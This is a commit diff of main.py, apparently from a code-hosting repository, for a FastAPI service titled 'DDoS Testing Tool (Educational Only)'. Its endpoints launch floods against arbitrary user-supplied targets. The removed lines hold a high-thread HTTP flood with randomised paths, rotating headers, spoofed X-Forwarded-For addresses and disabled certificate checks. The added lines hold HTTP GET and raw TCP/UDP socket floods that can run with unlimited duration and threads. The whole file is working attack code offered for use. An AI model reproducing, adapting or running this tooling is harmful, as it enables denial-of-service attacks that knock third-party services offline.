rkihacker commited on
Commit
db20d98
·
verified ·
1 Parent(s): a00e94e

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +55 -129
main.py CHANGED
@@ -8,154 +8,90 @@ import time
8
  import logging
9
  import socket
10
  import random
11
- import ssl
12
  from concurrent.futures import ThreadPoolExecutor
13
- from urllib3 import disable_warnings
14
- from urllib3.exceptions import InsecureRequestWarning
15
-
16
- # Disable SSL warnings for Layer 7 attacks
17
- disable_warnings(InsecureRequestWarning)
18
 
19
  logging.basicConfig(level=logging.INFO)
20
  logger = logging.getLogger(__name__)
21
 
22
- app = FastAPI(title="Max Power DDoS Testing Tool (Educational Only)")
23
 
24
  # Global attack control
25
  attack_active = False
26
  attack_thread = None
27
- executor = ThreadPoolExecutor(max_workers=10000) # Maximum threads
28
-
29
- # Connection pool for Layer 7 attacks
30
- session = requests.Session()
31
- session.mount('http://', requests.adapters.HTTPAdapter(pool_connections=10000, pool_maxsize=10000))
32
- session.mount('https://', requests.adapters.HTTPAdapter(pool_connections=10000, pool_maxsize=10000))
33
 
34
  class Layer7Config(BaseModel):
35
  target: str
36
  port: int = 80
37
  duration: int = 30 # -1 for unlimited
38
- threads: int = 10000 # Default to max threads
39
- keep_alive: bool = True
40
- method: constr(regex='^(GET|POST|HEAD|PUT|DELETE)$') = "GET"
41
- payload_size: int = 0 # For POST requests
42
 
43
  class Layer4Config(BaseModel):
44
  target: str
45
  port: int = 80
46
  duration: int = 30 # -1 for unlimited
47
- threads: int = 10000 # Default to max threads
48
  protocol: constr(regex='^(tcp|udp)$') = "tcp"
49
  payload_size: int = 1024
50
- connection_rate: int = 1000 # Connections per second
51
 
52
  def generate_payload(size: int) -> bytes:
53
  """Generate random payload for Layer 4 attacks"""
54
  return bytes(random.getrandbits(8) for _ in range(size))
55
 
56
- def generate_random_path():
57
- """Generate random URL path for Layer 7 attacks"""
58
- chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
59
- return '/' + ''.join(random.choice(chars) for _ in range(random.randint(5, 15)))
60
-
61
- def generate_random_headers():
62
- """Generate random headers for Layer 7 attacks"""
63
- user_agents = [
64
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
65
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
66
- "Mozilla/5.0 (X11; Linux x86_64)",
67
- "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)",
68
- "Mozilla/5.0 (iPad; CPU OS 15_0 like Mac OS X)"
69
- ]
70
-
71
- accept_types = [
72
- "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
73
- "application/json,text/plain,*/*",
74
- "image/webp,image/apng,image/*,*/*;q=0.8"
75
- ]
76
-
77
- return {
78
- "User-Agent": random.choice(user_agents),
79
- "Accept": random.choice(accept_types),
80
- "Accept-Language": "en-US,en;q=0.9",
81
- "Accept-Encoding": "gzip, deflate",
82
- "Connection": "keep-alive" if random.random() > 0.3 else "close",
83
  "Cache-Control": "no-cache",
84
- "Pragma": "no-cache",
85
- "DNT": "1",
86
- "Upgrade-Insecure-Requests": "1",
87
- "X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
88
  }
89
-
90
- def layer7_attack(target_url: str, config: Layer7Config):
91
- global attack_active
92
-
93
- # Prepare request data
94
- path = generate_random_path()
95
- headers = generate_random_headers()
96
-
97
- if config.method == "POST":
98
- data = generate_payload(config.payload_size)
99
- else:
100
- data = None
101
-
102
  while attack_active:
103
  try:
104
- session.request(
105
- method=config.method,
106
- url=f"{target_url}{path}",
107
- headers=headers,
108
- data=data,
109
- timeout=5,
110
- verify=False
111
- )
112
  except:
113
- pass # Ignore errors to keep flooding
114
 
115
  def layer4_attack(target_ip: str, port: int, protocol: str, payload_size: int):
116
- global attack_active
117
-
118
- while attack_active:
119
- sock = None
120
- try:
 
 
 
 
 
 
121
  if protocol == "tcp":
122
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
123
- sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
124
- sock.settimeout(5)
125
- sock.connect((target_ip, port))
126
-
127
- while attack_active:
128
- payload = generate_payload(payload_size)
129
- sock.send(payload)
130
- time.sleep(0.001) # Very fast sending
131
- else: # udp
132
- sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
133
- while attack_active:
134
- payload = generate_payload(payload_size)
135
- sock.sendto(payload, (target_ip, port))
136
- time.sleep(0.001) # Very fast sending
137
-
138
- except:
139
- pass # Ignore errors to keep flooding
140
- finally:
141
- if sock:
142
- sock.close()
143
 
144
  def start_layer7_attack(config: Layer7Config):
145
  global attack_active
146
  attack_active = True
147
 
 
 
 
148
  # Build target URL
149
  protocol = "https" if config.target.startswith("https") else "http"
150
  target_url = f"{config.target}:{config.port}"
 
151
 
152
- logger.info(f"Starting Layer 7 attack on {target_url} with {config.threads} threads")
153
-
154
- # Start attack threads
155
- for _ in range(config.threads):
156
- executor.submit(layer7_attack, target_url, config)
157
 
158
- # Handle duration
159
  if config.duration != -1:
160
  time.sleep(config.duration)
161
  stop_attack()
@@ -166,19 +102,21 @@ def start_layer4_attack(config: Layer4Config):
166
  global attack_active
167
  attack_active = True
168
 
 
 
 
169
  # Extract IP from target URL
170
  try:
171
  target_ip = socket.gethostbyname(config.target.split("//")[-1].split("/")[0])
172
  except:
173
  raise HTTPException(status_code=400, detail="Invalid target URL")
174
 
175
- logger.info(f"Starting {config.protocol.upper()} attack on {target_ip}:{config.port} with {config.threads} threads")
176
 
177
- # Start attack threads
178
- for _ in range(config.threads):
179
  executor.submit(layer4_attack, target_ip, config.port, config.protocol, config.payload_size)
180
 
181
- # Handle duration
182
  if config.duration != -1:
183
  time.sleep(config.duration)
184
  stop_attack()
@@ -197,16 +135,12 @@ def launch_layer7_attack(config: Layer7Config):
197
  raise HTTPException(status_code=400, detail="Attack already in progress")
198
 
199
  # Validate thread count
200
- if config.threads > 10000:
201
- raise HTTPException(status_code=400, detail="Max 10,000 threads allowed")
202
 
203
  # Validate duration
204
- if config.duration > 5000:
205
- raise HTTPException(status_code=400, detail="Max duration 5000 seconds")
206
-
207
- # Validate payload size
208
- if config.payload_size > 65507:
209
- raise HTTPException(status_code=400, detail="Max payload size is 65507 bytes")
210
 
211
  attack_thread = threading.Thread(target=start_layer7_attack, args=(config,), daemon=True)
212
  attack_thread.start()
@@ -219,12 +153,12 @@ def launch_layer4_attack(config: Layer4Config):
219
  raise HTTPException(status_code=400, detail="Attack already in progress")
220
 
221
  # Validate thread count
222
- if config.threads > 10000:
223
- raise HTTPException(status_code=400, detail="Max 10,000 threads allowed")
224
 
225
  # Validate duration
226
- if config.duration > 5000:
227
- raise HTTPException(status_code=400, detail="Max duration 5000 seconds")
228
 
229
  # Validate payload size
230
  if config.payload_size > 65507:
@@ -244,12 +178,4 @@ def status():
244
  return {"attack_active": attack_active}
245
 
246
  if __name__ == "__main__":
247
- uvicorn.run(
248
- app,
249
- host="0.0.0.0",
250
- port=8000,
251
- workers=2, # Match your 2vCPU
252
- limit_concurrency=10000,
253
- limit_max_requests=10000,
254
- timeout_keep_alive=5
255
- )
 
8
  import logging
9
  import socket
10
  import random
 
11
  from concurrent.futures import ThreadPoolExecutor
 
 
 
 
 
12
 
13
  logging.basicConfig(level=logging.INFO)
14
  logger = logging.getLogger(__name__)
15
 
16
+ app = FastAPI(title="DDoS Testing Tool (Educational Only)")
17
 
18
  # Global attack control
19
  attack_active = False
20
  attack_thread = None
21
+ executor = ThreadPoolExecutor(max_workers=10000) # Maximum power mode
 
 
 
 
 
22
 
23
  class Layer7Config(BaseModel):
24
  target: str
25
  port: int = 80
26
  duration: int = 30 # -1 for unlimited
27
+ threads: int = 100 # -1 for unlimited
 
 
 
28
 
29
  class Layer4Config(BaseModel):
30
  target: str
31
  port: int = 80
32
  duration: int = 30 # -1 for unlimited
33
+ threads: int = 100 # -1 for unlimited
34
  protocol: constr(regex='^(tcp|udp)$') = "tcp"
35
  payload_size: int = 1024
 
36
 
37
  def generate_payload(size: int) -> bytes:
38
  """Generate random payload for Layer 4 attacks"""
39
  return bytes(random.getrandbits(8) for _ in range(size))
40
 
41
+ def layer7_attack(target_url: str):
42
+ headers = {
43
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
44
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
45
+ "Connection": "keep-alive",
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
46
  "Cache-Control": "no-cache",
47
+ "Pragma": "no-cache"
 
 
 
48
  }
49
+ session = requests.Session()
 
 
 
 
 
 
 
 
 
 
 
 
50
  while attack_active:
51
  try:
52
+ session.get(target_url, headers=headers, timeout=5, verify=False)
 
 
 
 
 
 
 
53
  except:
54
+ pass
55
 
56
  def layer4_attack(target_ip: str, port: int, protocol: str, payload_size: int):
57
+ sock = None
58
+ try:
59
+ if protocol == "tcp":
60
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
61
+ sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
62
+ sock.connect((target_ip, port))
63
+ else: # udp
64
+ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
65
+
66
+ while attack_active:
67
+ payload = generate_payload(payload_size)
68
  if protocol == "tcp":
69
+ sock.send(payload)
70
+ else:
71
+ sock.sendto(payload, (target_ip, port))
72
+ time.sleep(0.01) # Small delay to prevent CPU overload
73
+ except Exception as e:
74
+ logger.error(f"Layer 4 attack error: {e}")
75
+ finally:
76
+ if sock:
77
+ sock.close()
 
 
 
 
 
 
 
 
 
 
 
 
78
 
79
  def start_layer7_attack(config: Layer7Config):
80
  global attack_active
81
  attack_active = True
82
 
83
+ # Determine thread count
84
+ thread_count = config.threads if config.threads != -1 else 10000
85
+
86
  # Build target URL
87
  protocol = "https" if config.target.startswith("https") else "http"
88
  target_url = f"{config.target}:{config.port}"
89
+ logger.info(f"Starting Layer 7 attack on {target_url} with {thread_count} threads")
90
 
91
+ for _ in range(thread_count):
92
+ executor.submit(layer7_attack, target_url)
 
 
 
93
 
94
+ # Handle unlimited duration (-1)
95
  if config.duration != -1:
96
  time.sleep(config.duration)
97
  stop_attack()
 
102
  global attack_active
103
  attack_active = True
104
 
105
+ # Determine thread count
106
+ thread_count = config.threads if config.threads != -1 else 10000
107
+
108
  # Extract IP from target URL
109
  try:
110
  target_ip = socket.gethostbyname(config.target.split("//")[-1].split("/")[0])
111
  except:
112
  raise HTTPException(status_code=400, detail="Invalid target URL")
113
 
114
+ logger.info(f"Starting {config.protocol.upper()} attack on {target_ip}:{config.port} with {thread_count} threads")
115
 
116
+ for _ in range(thread_count):
 
117
  executor.submit(layer4_attack, target_ip, config.port, config.protocol, config.payload_size)
118
 
119
+ # Handle unlimited duration (-1)
120
  if config.duration != -1:
121
  time.sleep(config.duration)
122
  stop_attack()
 
135
  raise HTTPException(status_code=400, detail="Attack already in progress")
136
 
137
  # Validate thread count
138
+ if config.threads != -1 and config.threads > 10000:
139
+ raise HTTPException(status_code=400, detail="Max 10,000 threads allowed (use -1 for unlimited)")
140
 
141
  # Validate duration
142
+ if config.duration != -1 and config.duration > 5000:
143
+ raise HTTPException(status_code=400, detail="Max duration 5000 seconds (use -1 for unlimited)")
 
 
 
 
144
 
145
  attack_thread = threading.Thread(target=start_layer7_attack, args=(config,), daemon=True)
146
  attack_thread.start()
 
153
  raise HTTPException(status_code=400, detail="Attack already in progress")
154
 
155
  # Validate thread count
156
+ if config.threads != -1 and config.threads > 10000:
157
+ raise HTTPException(status_code=400, detail="Max 10,000 threads allowed (use -1 for unlimited)")
158
 
159
  # Validate duration
160
+ if config.duration != -1 and config.duration > 5000:
161
+ raise HTTPException(status_code=400, detail="Max duration 5000 seconds (use -1 for unlimited)")
162
 
163
  # Validate payload size
164
  if config.payload_size > 65507:
 
178
  return {"attack_active": attack_active}
179
 
180
  if __name__ == "__main__":
181
+ uvicorn.run(app, host="0.0.0.0", port=8000)